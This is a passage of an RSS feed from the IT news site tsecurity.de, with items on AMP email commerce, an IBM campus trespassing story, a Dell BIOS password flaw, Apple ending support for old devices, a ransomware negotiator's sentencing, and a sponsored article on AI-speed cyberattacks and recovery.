<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div class="block-paragraph"><p data-block-key="3jhfn">Over the past few months, there’s been a massive acceleration in the growth of eCommerce. Reports show that <a href="https://www.forbes.com/sites/johnkoetsier/2020/06/12/covid-19-accelerated-e-commerce-growth-4-to-6-years/#3ad7cb42600f" target="_blank">online revenue is growing 5 times faster than pre-COVID growth</a>, and conveniences such as <a href="https://www.mckinsey.com/~/media/McKinsey/Industries/Retail/Our%20Insights/Adapting%20to%20the%20next%20normal%20in%20retail%20The%20customer%20experience%20imperative/Adapting-to-the-next-normal-in-retail-the-customer-experience-imperative-v3.pdf" target="_blank">buy-online-pick-up-in-store are showing signs of permanent adoption</a>. As retail businesses continue to adapt to these changing behaviors, providing an easy and safe shopping experience is more important than ever before. One channel that solves for both of these shopper behaviors is email. </p><p data-block-key="uuojx">Today, we are hosting <a href="https://amp.dev/events/amp-fest-2020/" target="_blank">AMP Fest</a> where we are excited to announce that AMP-based emails are coming to Salesforce Marketing Cloud. AMP is an open-source web component framework <a href="https://blog.google/products/search/introducing-accelerated-mobile-pages/" target="_blank">started by Google</a> that simplifies how businesses can build user-first websites, emails, ads and more. </p><p data-block-key="u6ps8">AMP in email makes the inbox experience more useful and engaging, and even more so when we partner with companies like Salesforce Marketing Cloud. Let’s check out some examples.</p><p data-block-key="vl3z7"><b>Scheduling and Checkout from Gmail</b></p></div>
<div class="block-image_full_width">






  
    <div class="article-module h-c-page">
      <div class="h-c-grid">
  

    <figure class="article-image--large
      
      
        h-c-grid__col
        h-c-grid__col--6 h-c-grid__col--offset-3
        
        
      ">

      
      
        
        <img src="https://storage.googleapis.com/gweb-cloudblog-publish/original_images/scheduling_from_gmail.gif" alt="scheduling from gmail.gif">
        
        
      
    </figure>

  
      </div>
    </div>
  




</div>
<div class="block-paragraph"><p data-block-key="ht18x">With AMP emails, when customers need to visit a store in person, companies can include the ability to schedule a 1:1 appointment—with real-time availability—enabling customers to conveniently plan a safe visit directly from Gmail.</p></div>
<div class="block-image_full_width">






  
    <div class="article-module h-c-page">
      <div class="h-c-grid">
  

    <figure class="article-image--large
      
      
        h-c-grid__col
        h-c-grid__col--6 h-c-grid__col--offset-3
        
        
      ">

      
      
        
        <img src="https://storage.googleapis.com/gweb-cloudblog-publish/original_images/checkout_from_gmail.gif" alt="checkout from gmail.gif">
        
        
      
    </figure>

  
      </div>
    </div>
  




</div>
<div class="block-paragraph"><p data-block-key="xt4ro">On the other hand, when shoppers want to shop online, you can enable customers to buy products with one click from your email, like with <a href="http://skipify.com/email" target="_blank">Skipify’s</a> 1-touch buy button. Yup, that's right, we’re talking about shopping without ever leaving the inbox.</p></div>
<div class="block-image_full_width">






  
    <div class="article-module h-c-page">
      <div class="h-c-grid">
  

    <figure class="article-image--large
      
      
        h-c-grid__col
        h-c-grid__col--6 h-c-grid__col--offset-3
        
        
      ">

      
      
        
        <img src="https://storage.googleapis.com/gweb-cloudblog-publish/original_images/order_status_in_gmail.gif" alt="order status in gmail.gif">
        
        
      
    </figure>

  
      </div>
    </div>
  




</div>
<div class="block-paragraph"><p data-block-key="mby6t">And while a simpler online shopping experience is certainly relevant today, the excitement only grows as you think about future possibilities—scheduling grocery delivery, a shipping notification that always has a real-time status update or allowing customers to set a website alert for a product and then completing the transaction from the back-in-stock notification email—and doing all of this without ever leaving your inbox.</p></div>
<div class="block-image_full_width">






  
    <div class="article-module h-c-page">
      <div class="h-c-grid">
  

    <figure class="article-image--large
      
      
        h-c-grid__col
        h-c-grid__col--6 h-c-grid__col--offset-3
        
        
      ">

      
      
        
        <img src="https://storage.googleapis.com/gweb-cloudblog-publish/original_images/shopping_in_gmail.gif" alt="shopping in gmail.gif">
        
        
      
    </figure>

  
      </div>
    </div>
  




</div>
<div class="block-paragraph"><p data-block-key="jjmy3"><a href="http://ecwid.com/" target="_blank">Ecwid</a>, one of our early senders of AMP emails for eCommerce, has seen that using AMP leads to a direct impact on revenue, as their merchant’s sales are up 27% by using AMP components in their abandoned cart email. </p><p data-block-key="anfv1">Keeping up with customer behavior in the midst of the COVID pandemic can seem overwhelming, but with AMP the process doesn't need to be. AMP for Email lets retailers take advantage of an already established marketing channel to create a seamless, safe and new shopping experience. Thus only available dates, times, products and information are returned, enabling an interactive customer experience that simplifies how businesses communicate with their customers. </p><p data-block-key="uazz6">Today, AMP emails are supported on both mobile and desktop for Gmail. For email marketers and developers, AMP will be supported through Salesforce Marketing Cloud and a host of <a href="https://amp.dev/support/faq/email-support/" target="_blank">others</a>. For more information on AMP, tune into <a href="https://amp.dev/events/amp-fest-2020/" target="_blank">AMP Fest</a> to learn more.</p></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[People Keep Sneaking Into an Empty IBM Campus - and Then Getting Arrested]]></title>
<description><![CDATA[Since February, New York state police have arrested 48 people for trespassing on a former IBM campus in Somers, New York, reports the Wall Street Journal. 30 of the arrests were teenagers.

The long-vacant site has become a magnet for so-called urban explorers, who prowl abandoned malls, hospital...]]></description>
<link>https://tsecurity.de/de/3662486/it-security-nachrichten/people-keep-sneaking-into-an-empty-ibm-campus-and-then-getting-arrested/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3662486/it-security-nachrichten/people-keep-sneaking-into-an-empty-ibm-campus-and-then-getting-arrested/</guid>
<pubDate>Sun, 12 Jul 2026 00:52:23 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Since February, New York state police have arrested 48 people for trespassing on a former IBM campus in Somers, New York, reports the Wall Street Journal. 30 of the arrests were teenagers.

The long-vacant site has become a magnet for so-called urban explorers, who prowl abandoned malls, hospitals, power plants, amusement parks, factories and any other disused structure they can breach... [I]t's been turbocharged by artsy videos on Instagram and TikTok that spur others to create their own posts, luring still more curiosity seekers... In Somers, social-media images of the old IBM campus — a sprawling, pyramid-studded 1980s complex designed by the late I.M. Pei's firm — show dystopian scenes: busted windows, tossed rooms and graffitied walls. But they also give eerie glimpses of conference rooms and cubicles unchanged since IBM left a decade ago, as if employees had fled the daily grind one day and never returned... 

One man in his mid-20s faces felony charges; police allege he had a loaded 9mm gun and took a Sony camera and power strip among other souvenirs. Andrew Proto, a defense lawyer, said "a 15-second clip" isn't worth a criminal record... Proto said he has represented or advised several minors arrested on the campus. The Somers town court clerk said some defendants received a 6-month "adjournment in contemplation of dismissal," meaning charges will be dropped and their arrest sealed if they avoid trouble. Some explorers who have posted about the IBM site say they follow an observe-and-preserve ethos and reject vandalism. They say they're driven by curiosity, the thrill of roaming forbidden spaces and a zeal to document discoveries — and that they're careful and know their limits. 

"It actually gives me hope when I hear that kids are out there getting into trouble," says Bradley Garrett, a cultural geographer and author of the book "Explore Everything: Place-Hacking the City," about his own urbex adventures. He sees urban exploration as "a gateway drug in a good way, sometimes, into intellectual curiosity about history and culture." But Garrett said popular spots can be "loved to death" online — and then shut down, looted or set ablaze. 

"Trespassers were blamed for a March 30 fire, reports a local newspaper, "that damaged one of the buildings and required volunteer firefighters to spend three hours extinguishing the blaze."<p></p><div class="share_submission">
<a class="slashpop" href="http://twitter.com/home?status=People+Keep+Sneaking+Into+an+Empty+IBM+Campus+-+and+Then+Getting+Arrested%3A+https%3A%2F%2Fslashdot.org%2Fstory%2F26%2F07%2F11%2F2129203%2F%3Futm_source%3Dtwitter%26utm_medium%3Dtwitter"><img src="https://a.fsdn.com/sd/twitter_icon_large.png"></a>
<a class="slashpop" href="http://www.facebook.com/sharer.php?u=https%3A%2F%2Fslashdot.org%2Fstory%2F26%2F07%2F11%2F2129203%2Fpeople-keep-sneaking-into-an-empty-ibm-campus---and-then-getting-arrested%3Futm_source%3Dslashdot%26utm_medium%3Dfacebook"><img src="https://a.fsdn.com/sd/facebook_icon_large.png"></a>



</div><p><a href="https://slashdot.org/story/26/07/11/2129203/people-keep-sneaking-into-an-empty-ibm-campus---and-then-getting-arrested?utm_source=rss1.0moreanon&amp;utm_medium=feed">Read more of this story</a> at Slashdot.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[We explain why Cloud rebuild is one of Windows 11’s most important new features, and how it lets you recover your PC without a USB drive or complicated steps]]></title>
<description><![CDATA[Microsoft's Cloud rebuild for Windows 11 downloads a fresh installation and drivers from Windows Update. Here's how it works and what to know.]]></description>
<link>https://tsecurity.de/de/3661908/windows-tipps/we-explain-why-cloud-rebuild-is-one-of-windows-11s-most-important-new-features-and-how-it-lets-you-recover-your-pc-without-a-usb-drive-or-complicated-steps/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3661908/windows-tipps/we-explain-why-cloud-rebuild-is-one-of-windows-11s-most-important-new-features-and-how-it-lets-you-recover-your-pc-without-a-usb-drive-or-complicated-steps/</guid>
<pubDate>Sat, 11 Jul 2026 15:25:12 +0200</pubDate>
<category>🪟 Windows Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Microsoft's Cloud rebuild for Windows 11 downloads a fresh installation and drivers from Windows Update. Here's how it works and what to know.]]></content:encoded>
</item>
<item>
<title><![CDATA[Dell BIOS Flaw Lets Attackers Extract Plaintext Passwords Without Brute Force]]></title>
<description><![CDATA[A newly disclosed Dell BIOS password-storage flaw can allow attackers with physical access to recover administrator and user passwords from SPI flash dumps in milliseconds. Tracked as CVE-2026-40639 and addressed in Dell Security Advisory DSA-2026-197, the issue affects certain Dell client platfo...]]></description>
<link>https://tsecurity.de/de/3661483/it-security-nachrichten/dell-bios-flaw-lets-attackers-extract-plaintext-passwords-without-brute-force/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3661483/it-security-nachrichten/dell-bios-flaw-lets-attackers-extract-plaintext-passwords-without-brute-force/</guid>
<pubDate>Sat, 11 Jul 2026 10:07:37 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>A newly disclosed Dell BIOS password-storage flaw can allow attackers with physical access to recover administrator and user passwords from SPI flash dumps in milliseconds. Tracked as CVE-2026-40639 and addressed in Dell Security Advisory DSA-2026-197, the issue affects certain Dell client platforms that use the proprietary DVAR configuration store and the SystemPwSmm SMM driver. Dell […]</p>
<p>The post <a href="https://gbhackers.com/dell-bios-flaw-extract-plaintext-password-brute-force/">Dell BIOS Flaw Lets Attackers Extract Plaintext Passwords Without Brute Force</a> appeared first on <a href="https://gbhackers.com/">GBHackers Security | #1 Globally Trusted Cyber Security News Platform</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Dell BIOS Flaw Lets Attackers Extract Plaintext Passwords Without Brute Force]]></title>
<description><![CDATA[A newly disclosed Dell BIOS password-storage flaw can allow attackers with physical access to recover administrator and user passwords from SPI flash dumps in milliseconds. Tracked as CVE-2026-40639 and addressed in Dell Security Advisory DSA-2026-197, the issue affects certain Dell…
Read more →
...]]></description>
<link>https://tsecurity.de/de/3661482/it-security-nachrichten/dell-bios-flaw-lets-attackers-extract-plaintext-passwords-without-brute-force/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3661482/it-security-nachrichten/dell-bios-flaw-lets-attackers-extract-plaintext-passwords-without-brute-force/</guid>
<pubDate>Sat, 11 Jul 2026 10:07:36 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>A newly disclosed Dell BIOS password-storage flaw can allow attackers with physical access to recover administrator and user passwords from SPI flash dumps in milliseconds. Tracked as CVE-2026-40639 and addressed in Dell Security Advisory DSA-2026-197, the issue affects certain Dell…</p>
<p class="more-link-p"><a class="more-link" href="https://www.itsecuritynews.info/dell-bios-flaw-lets-attackers-extract-plaintext-passwords-without-brute-force/">Read more →</a></p>
<p>The post <a href="https://www.itsecuritynews.info/dell-bios-flaw-lets-attackers-extract-plaintext-passwords-without-brute-force/">Dell BIOS Flaw Lets Attackers Extract Plaintext Passwords Without Brute Force</a> appeared first on <a href="https://www.itsecuritynews.info/">IT Security News</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Dell BIOS Flaw Lets Attackers Recover Passwords From SPI Flash]]></title>
<description><![CDATA[A newly disclosed critical flaw in how Dell stores BIOS administrator and user passwords allows full recovery of plaintext credentials from a flash dump in milliseconds. Tracked as CVE-2026-40639 (DSA-2026-197), the issue stems from a broken XOR encryption scheme rather than a cryptographic hash....]]></description>
<link>https://tsecurity.de/de/3661353/it-security-nachrichten/dell-bios-flaw-lets-attackers-recover-passwords-from-spi-flash/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3661353/it-security-nachrichten/dell-bios-flaw-lets-attackers-recover-passwords-from-spi-flash/</guid>
<pubDate>Sat, 11 Jul 2026 08:19:47 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>A newly disclosed critical flaw in how Dell stores BIOS administrator and user passwords allows full recovery of plaintext credentials from a flash dump in milliseconds. Tracked as CVE-2026-40639 (DSA-2026-197), the issue stems from a broken XOR encryption scheme rather than a cryptographic hash. Dell’s DVAR (Dell Variable) region on the SPI flash stores passwords […]</p>
<p>The post <a href="https://cyberpress.org/dell-bios-recover-passwords-spi-flash/">Dell BIOS Flaw Lets Attackers Recover Passwords From SPI Flash</a> appeared first on <a href="https://cyberpress.org/">Cyber Security News</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Dell BIOS Flaw Lets Attackers Recover Admin Passwords From SPI Flash in Milliseconds]]></title>
<description><![CDATA[A critical flaw in how Dell stores BIOS administrator and user passwords allows full password recovery from a flash dump in milliseconds, with no brute force required. The vulnerability, tracked as CVE-2026-40639 (DSA-2026-197), stems from a broken XOR encryption scheme…
Read more →
The post Dell...]]></description>
<link>https://tsecurity.de/de/3661204/it-security-nachrichten/dell-bios-flaw-lets-attackers-recover-admin-passwords-from-spi-flash-in-milliseconds/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3661204/it-security-nachrichten/dell-bios-flaw-lets-attackers-recover-admin-passwords-from-spi-flash-in-milliseconds/</guid>
<pubDate>Sat, 11 Jul 2026 06:06:33 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>A critical flaw in how Dell stores BIOS administrator and user passwords allows full password recovery from a flash dump in milliseconds, with no brute force required. The vulnerability, tracked as CVE-2026-40639 (DSA-2026-197), stems from a broken XOR encryption scheme…</p>
<p class="more-link-p"><a class="more-link" href="https://www.itsecuritynews.info/dell-bios-flaw-lets-attackers-recover-admin-passwords-from-spi-flash-in-milliseconds/">Read more →</a></p>
<p>The post <a href="https://www.itsecuritynews.info/dell-bios-flaw-lets-attackers-recover-admin-passwords-from-spi-flash-in-milliseconds/">Dell BIOS Flaw Lets Attackers Recover Admin Passwords From SPI Flash in Milliseconds</a> appeared first on <a href="https://www.itsecuritynews.info/">IT Security News</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[IT Security News Hourly Summary 2026-07-11 06h : 2 posts]]></title>
<description><![CDATA[2 posts were published in the last hour 4:4 : 281 Popular VPN Apps from the Google Play Store Leak Sensitive Data, Transfer Data Unencrypted 4:4 : Dell BIOS Flaw Lets Attackers Recover Admin Passwords From SPI Flash in Milliseconds
Read more →
The post IT Security News Hourly Summary 2026-07-11 0...]]></description>
<link>https://tsecurity.de/de/3661202/it-security-nachrichten/it-security-news-hourly-summary-2026-07-11-06h-2-posts/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3661202/it-security-nachrichten/it-security-news-hourly-summary-2026-07-11-06h-2-posts/</guid>
<pubDate>Sat, 11 Jul 2026 06:06:31 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>2 posts were published in the last hour 4:4 : 281 Popular VPN Apps from the Google Play Store Leak Sensitive Data, Transfer Data Unencrypted 4:4 : Dell BIOS Flaw Lets Attackers Recover Admin Passwords From SPI Flash in Milliseconds</p>
<p class="more-link-p"><a class="more-link" href="https://www.itsecuritynews.info/it-security-news-hourly-summary-2026-07-11-06h-2-posts/">Read more →</a></p>
<p>The post <a href="https://www.itsecuritynews.info/it-security-news-hourly-summary-2026-07-11-06h-2-posts/">IT Security News Hourly Summary 2026-07-11 06h : 2 posts</a> appeared first on <a href="https://www.itsecuritynews.info/">IT Security News</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Dell BIOS Flaw Lets Attackers Recover Admin Passwords From SPI Flash in Milliseconds]]></title>
<description><![CDATA[A critical flaw in how Dell stores BIOS administrator and user passwords allows full password recovery from a flash dump in milliseconds, with no brute force required. The vulnerability, tracked as CVE-2026-40639 (DSA-2026-197), stems from a broken XOR encryption scheme rather than a proper crypt...]]></description>
<link>https://tsecurity.de/de/3661176/it-security-nachrichten/dell-bios-flaw-lets-attackers-recover-admin-passwords-from-spi-flash-in-milliseconds/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3661176/it-security-nachrichten/dell-bios-flaw-lets-attackers-recover-admin-passwords-from-spi-flash-in-milliseconds/</guid>
<pubDate>Sat, 11 Jul 2026 05:22:21 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>A critical flaw in how Dell stores BIOS administrator and user passwords allows full password recovery from a flash dump in milliseconds, with no brute force required. The vulnerability, tracked as CVE-2026-40639 (DSA-2026-197), stems from a broken XOR encryption scheme rather than a proper cryptographic hash. Dell stores BIOS passwords in the DVAR (Dell Variable) […]</p>
<p>The post <a href="https://cybersecuritynews.com/dell-bios-flaw-admin-passwords/">Dell BIOS Flaw Lets Attackers Recover Admin Passwords From SPI Flash in Milliseconds</a> appeared first on <a href="https://cybersecuritynews.com/">Cyber Security News</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Mamdani announces new Click-to-Cancel rule for New York City]]></title>
<description><![CDATA[The rule revives a proposed FTC protection that was abandoned last year.]]></description>
<link>https://tsecurity.de/de/3660849/it-nachrichten/mamdani-announces-new-click-to-cancel-rule-for-new-york-city/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3660849/it-nachrichten/mamdani-announces-new-click-to-cancel-rule-for-new-york-city/</guid>
<pubDate>Fri, 10 Jul 2026 23:32:32 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[The rule revives a proposed FTC protection that was abandoned last year.]]></content:encoded>
</item>
<item>
<title><![CDATA[China becomes the second country to recover a rocket booster]]></title>
<description><![CDATA[China made a breakthrough in its space program with the successful capture of a Long March 10B rocket booster.]]></description>
<link>https://tsecurity.de/de/3659819/it-nachrichten/china-becomes-the-second-country-to-recover-a-rocket-booster/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3659819/it-nachrichten/china-becomes-the-second-country-to-recover-a-rocket-booster/</guid>
<pubDate>Fri, 10 Jul 2026 15:18:29 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[China made a breakthrough in its space program with the successful capture of a Long March 10B rocket booster.]]></content:encoded>
</item>
<item>
<title><![CDATA[Ransomware Negotiator Sentenced for BlackCat Ransomware Operators to Attack Victims]]></title>
<description><![CDATA[A former Florida ransomware negotiator has been sentenced to 70 months in federal prison after conspiring with BlackCat/ALPHV ransomware operators and helping attack multiple U.S. victims. Angelo Martino, of Land O’Lakes, Florida, worked for a U.S.-based cyber incident response company. His role ...]]></description>
<link>https://tsecurity.de/de/3659199/it-security-nachrichten/ransomware-negotiator-sentenced-for-blackcat-ransomware-operators-to-attack-victims/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3659199/it-security-nachrichten/ransomware-negotiator-sentenced-for-blackcat-ransomware-operators-to-attack-victims/</guid>
<pubDate>Fri, 10 Jul 2026 11:07:25 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>A former Florida ransomware negotiator has been sentenced to 70 months in federal prison after conspiring with BlackCat/ALPHV ransomware operators and helping attack multiple U.S. victims. Angelo Martino, of Land O’Lakes, Florida, worked for a U.S.-based cyber incident response company. His role was to help organizations recover from ransomware incidents and negotiate with threat actors. […]</p>
<p>The post <a href="https://cybersecuritynews.com/ransomware-negotiator-sentenced/">Ransomware Negotiator Sentenced for BlackCat Ransomware Operators to Attack Victims</a> appeared first on <a href="https://cybersecuritynews.com/">Cyber Security News</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Apple finally calls time on 15-year-old device support]]></title>
<description><![CDATA[For those who wonder what the support window is for Apple products, the company now has an answer: it’s quietly ended support for some of its oldest iPhones and iPads, cutting off restore access for devices that first went on sale more than a decade ago. 



While the move has prompted some compl...]]></description>
<link>https://tsecurity.de/de/3657682/it-nachrichten/apple-finally-calls-time-on-15-year-old-device-support/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3657682/it-nachrichten/apple-finally-calls-time-on-15-year-old-device-support/</guid>
<pubDate>Thu, 09 Jul 2026 18:21:10 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>For those who wonder what the support window is for Apple products, the company now has an answer: it’s quietly ended support for some of its oldest iPhones and iPads, cutting off restore access for devices that first went on sale more than a decade ago. </p>



<p>While the move has prompted some complaints, the truth is that it underlines just how unusually long the company has kept aging hardware alive. Even today, it provides support in the form of access to signed software upgrades for non-cellular devices as old as some teenagers. </p>



<h2 class="wp-block-heading"><strong>What devices have been cut?</strong></h2>



<p>Among other things Apple has cut support for a range of <a href="https://forums.macrumors.com/threads/apple-pulls-ability-to-restore-iphone-5c-ipad-mini-and-more.2485169/" target="_blank" rel="noreferrer noopener">older cellular-equipped devices</a>, as it no longer supports the modems. Take the iPhone 4S, introduced about the same time iconic Apple CEO Steve Jobs died. Apple has stopped signing iOS versions for that device, which means if you’re still running one, you won’t be able to restore or downgrade to several older iOS versions on it. </p>



<p>This isn’t the only older system for which Apple has stopped signing versions, but all these newly abandoned products are 12-years old, or older. Affected devices include the iPhone 4, iPhone 4S, iPhone 5, iPhone 5c, iPad 2, iPad 3, iPad 4 and the original iPad mini. In each case, if you have an iPad without a cellular modem you should still be able to reinstall OS software, but cellular devices are abandoned. They’ll continue to work; you just can’t reinstall the operating system in the event of a problem.</p>



<p>The specifics are telling. The cut affects iOS builds like 6.1.3, 8.4.1, 9.3.5/9.3.6 and 10.3.3/10.3.4 — versions tied to the original iPad 2, iPad mini and iPhone 5c. One of those, iOS 10.3.4, was actually a special one-off patch Apple pushed out just for the iPhone 5 to fix a GPS bug tied to the GPS week rollover, underlining just how much engineering effort Apple still throws at older devices.</p>



<h2 class="wp-block-heading"><strong>Why it kind of matters at the same time</strong></h2>



<p>The move to cut support is unlikely to cause any significant problems, as only a tiny number of these devices will be in active use. Some developers might use old devices for compatibility testing, though, and by making this move Apple is obviously telling developers to constrain their legacy device support. It’s also a reasonable piece of housekeeping: maintaining signing servers for decade-old, security-patched builds isn’t free. (Apple frames these moves as closing off outdated software that could expose old vulnerabilities.)</p>



<h2 class="wp-block-heading"><strong>How does this compare with others?</strong></h2>



<p>Apple has always had a good reputation for product support; in part, this is why its devices maintain such <a href="https://www.sellcell.com/smartphone-depreciation/" target="_blank" rel="noreferrer noopener">strong resale values over time</a>. That commitment became more explicit in 2024 following UK regulation, after which it now <a href="https://www.androidauthority.com/iphone-software-support-commitment-3449135/" target="_blank" rel="noreferrer noopener">guarantees at least five years of security updates</a>. Around the same time, Google and most big Android device manufacturers went a little further, committing to seven years of security and operating system updates. </p>



<p>Smaller manufacturers don’t always match this commitment; in some cases, you might find similar support for budget Androids can be as short as two years. It’s also worth considering the user experience when working with older Android devices. While Apple’s tight software and hardware integration tends to support high-value user experiences, the more fragmented nature of the Android manufacturing process means some devices don’t offer the same degree of usability when older. Pixel’s Tensor have drawn <a href="https://www.digitaltrends.com/phones/google-pixel-phone-returns-overheating-battery-reason-report/" target="_blank" rel="noreferrer noopener">criticism for struggling to run smoothly</a> as they age, even if they’re still technically supported.</p>



<p>What this means is that Apple continues to under promise and overdeliver on its support commitment to older devices — so much so that it’s only now some customers who might still be running a 15-year-old iPhone have finally hit the support wall. </p>



<p><em>Join me on social media at </em><a href="https://bsky.app/profile/jonnyevanssays.bsky.social" target="_blank" rel="noreferrer noopener"><em>BlueSky</em></a><em>,  </em><a href="http://www.linkedin.com/in/jonnyevans" target="_blank" rel="noreferrer noopener"><em>LinkedIn</em></a><em>, or </em><a href="https://social.vivaldi.net/@jonnyevans" target="_blank" rel="noreferrer noopener"><em>Mastodon</em></a><em>,and do please subscribe to </em><a href="https://thecorenews.substack.com/p/welcome-to-the-core?r=5l3lg" target="_blank" rel="noreferrer noopener"><em>The Core</em></a><em> for your daily collection of human-curated Apple News lovingly assembled by yours truly.</em></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[AI has collapsed the cyber response window — resilience now starts before the attack]]></title>
<description><![CDATA[Presented by RubrikEnterprise cybersecurity is facing a fundamental speed problem. Frontier AI models are now enabling autonomous attacks that can move from initial access to full system breakout in as little as 27 seconds. That’s faster than any human-operated security workflow can detect, escal...]]></description>
<link>https://tsecurity.de/de/3654755/it-nachrichten/ai-has-collapsed-the-cyber-response-window-resilience-now-starts-before-the-attack/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3654755/it-nachrichten/ai-has-collapsed-the-cyber-response-window-resilience-now-starts-before-the-attack/</guid>
<pubDate>Wed, 08 Jul 2026 17:18:21 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><i>Presented by Rubrik</i></p><hr><p>Enterprise cybersecurity is facing a fundamental speed problem. Frontier AI models are now enabling autonomous attacks that can move from initial access to full system breakout <a href="https://www.crowdstrike.com/en-us/press-releases/2026-crowdstrike-global-threat-report/">in as little as 27 seconds</a>. That’s faster than any human-operated security workflow can detect, escalate, and respond.</p><p>As a result, security operations can no longer assume there is time for humans to respond between breach and damage.</p><p>The security posture that enterprises need for the AI era centers on cyber resilience: continuously identifying clean recovery states, mapping critical data and identity dependencies, and automating restoration so that operations can recover in hours not days.</p><p>"Everything that relied on process or human-in-the-loop intervention is no longer going to be able to execute at the speed of the attacks," says Dev Rishi, GM of AI at Rubrik. "If the attacks are happening in 27 seconds, it means I need my recovery to happen just as quickly."</p><h2>Traditional detection and prevention are failing against AI-driven attacks</h2><p>The rules-based logic that has defined enterprise security for decades, such as static access controls, known signature detection and deterministic behavioral policies, was engineered for deterministic software. AI agents behave differently. They're non-deterministic, capable of pursuing the same objective through many different paths, and increasingly capable of circumventing static guardrails by finding alternative routes when one is blocked.</p><p>The deeper problem is that conventional security logic checks identity, permissions, and access, and asks whether each individual access is permitted. But it can’t evaluate whether a sequence of permitted actions, taken across multiple applications, constitutes either a data leak, a destructive operation, or an attack. </p><p>"You need a system that can understand context," Rishi says. "You need to use AI to look at what an agent is doing and say, ‘it looks like what you're doing might be a risk of leaking sensitive data externally.’"</p><h2>How AI agents are blurring the line between internal and external cyber threats</h2><p>Enterprise security has historically maintained a meaningful distinction between external and internal threat vectors. External threats can be multidimensional, lightning fast, and come from a variety of vectors. On the other hand, internal threats were traditionally bounded by what a single human actor could accomplish before detection, constrained in speed, scope, and scale, but that distinction is falling apart as AI agents operate inside enterprise environments.</p><p>These agents have access to multiple systems simultaneously and move at speeds no human employee can match. When an agent makes a mistake, such as a hallucination, misread instruction, or an unintended data transfer, the resulting damage can look operationally identical to a malicious insider attack. And when an external attacker compromises an internal agent, they inherit its full access profile across every connected application.</p><p>"Whether or not the agent is an internal threat because of an inadvertent mistake or because it's been maliciously compromised, you need runtime guardrails that enforce your organizations policies consistently across agents," Rishi says. "The practical answer is an AI-native guardian layer that monitors agent behavior semantically, understands intent across actions, and can block or terminate a misbehaving agent at machine speed, then trigger recovery immediately." </p><h2>Preparing for a world of inevitable compromise</h2><p>Frontier AI models, including those capable of discovering and operationalizing zero-day vulnerabilities autonomously, are changing the economics of attacks. </p><p>As a result, interest in Mythos readiness is growing. Enterprises are increasingly operating under two assumptions: that attacks are inevitable, not exceptional, and that investment in resilience and rapid recovery must be treated as strategically as investment in prevention has been. The shift reframes recovery from a post-incident activity into a capability that is deliberately designed, tested, and continuously validated.</p><p>"The idea that you can recover quickly from an attack is going to become one of the most important facets of security," Rishi says. "It's the insurance policy that organizations now have to treat as a first-class citizen."</p><h2>Why AI-powered cyber resilience depends on small models</h2><p>True cyber resilience is a two-sided coin: it demands both real-time intelligent enforcement to intercept threats in motion, and automated recovery to restore operations immediately. While having backups is a baseline, organizations need workflows that can continuously monitor systems at machine speed, and instantly determine the most recent clean state under attack conditions.</p><p>Applying AI to the first half of that equation—real-time enforcement—creates a fundamental technical and economic challenge. Relying on massive frontier models to monitor every agent action introduces crippling latency overhead and exorbitant computing costs. A guardian AI system that slows down operations or costs as much as the systems it monitors is simply not viable for widespread adoption.</p><p>“It has to be a fast, small, and cheap AI model,” Rishi says. “No one wants to sign up for a secure solution that doubles their cost or latency.”</p><p>This is why small language models (SLMs) are critical for real-time enforcement. Rubrik’s approach, anchored by its acquisition of Predibase, is to build this frontline defense layer on small models optimized specifically for speed and efficiency. 